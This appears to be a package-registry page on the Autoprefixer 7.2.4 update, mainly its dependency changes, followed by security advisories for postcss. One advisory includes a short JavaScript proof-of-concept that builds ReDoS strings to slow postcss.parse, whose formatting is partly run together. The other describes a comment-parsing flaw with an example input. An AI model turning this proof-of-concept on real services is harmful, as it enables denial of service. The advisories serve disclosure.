Autoprefixer version 7.2.4 arrives as a minor update to 7.2.3, refining its core functionality of parsing CSS and adding vendor prefixes based on data from the "Can I Use" website. Developers leveraging autoprefixer to ensure cross-browser compatibility will find the changes focused primarily on dependency updates.
The most notable difference lies in the updated dependencies. Version 7.2.4 upgrades postcss from "^6.0.14" to "^6.0.15", browserslist from "^2.10.0" to "^2.10.2", and caniuse-lite from "^1.0.30000783" to "^1.0.30000784". These updates likely incorporate bug fixes, performance improvements, and expanded browser support data.
Notably, version 7.2.3 included a suite of devDependencies used for development, testing, and linting, such as gulp, jest, eslint, and various Babel-related packages. These development dependencies are absent in the 7.2.4 package data, suggesting they are not directly relevant to the package's core functionality or runtime environment for end-users. For developers simply using Autoprefixer in their projects, the practical impact of upgrading from 7.2.3 to 7.2.4 centers on receiving the updated browser compatibility data and any underlying improvements within the postcss and browserslist libraries, leading to more accurate and efficient prefixing.
All the vulnerabilities related to the version 7.2.4 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.